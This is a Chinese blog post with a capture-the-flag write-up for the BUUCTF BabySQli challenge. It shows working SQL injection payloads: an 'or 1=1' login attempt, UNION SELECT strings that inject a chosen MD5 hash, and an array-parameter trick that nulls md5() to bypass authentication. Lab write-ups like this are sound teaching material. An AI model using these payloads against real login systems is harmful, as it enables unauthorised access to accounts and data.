BUUCTF-[GXYCTF2019]BabySQli 1详解

babysqli 注入题,打开一个简易的登录框,觉得出题人好像不是个完美主义者,登录框做的很烂,但是我是个弟弟,还是要说出题人牛逼

好了,废话不多说,我们填写账号密码,先用

username:admin

password:admin

告诉我,wrong pass!

然后我们再试试万能密码,

username:admin' or '1'='1'#

password:随意填

然后告诉我do not hack me!

我索性看了下源码,里面有一段数据被注释了,看似base32,等我们base32解码出来,再来个base64解码

select * from user where username = '$name'

得到了这个sql语句,意思是我们需要传入个name变量,然后我们构造payload,因为我们需要post传参,于是我们采用bp抓包

 

 我们如果给name的值不是admin,然后提示错误,wrong user!

传admin,提示wrong pass!

我们把admin 放到第二个位置 不报错

 

 这样我们就得到第二个字段就是我们的username字段

紧接着下一步,我也不太会于是就看了大佬博客说有md5提示,我也没发现,

于是盲从后台登录逻辑

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){ 
echo $flag; 
}else{ echo “wrong pass!”; 
}}
else{ echo “wrong user!”;}

  在执行password框中的内容等于md5(框中的内容),如果相等则密码正确,于是我们构造吧

password:adc

md5(adc):225e8a3fe20e95f6cd9b9e10bfe5eb69

于是构造payload:name=1' union select 1,2,'225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc

因为有md5我想到了md5不能处理数组,如果是数组则会返回NULL

构造payload:name=ad' union select 1,'admin',NULL#&pw[]=123

也可返回flag。 抓包改包就完事。

得到flag

 

 参考链接

posted @ 2020-10-22 17:02  junlebao  阅读(3819)  评论(0编辑  收藏  举报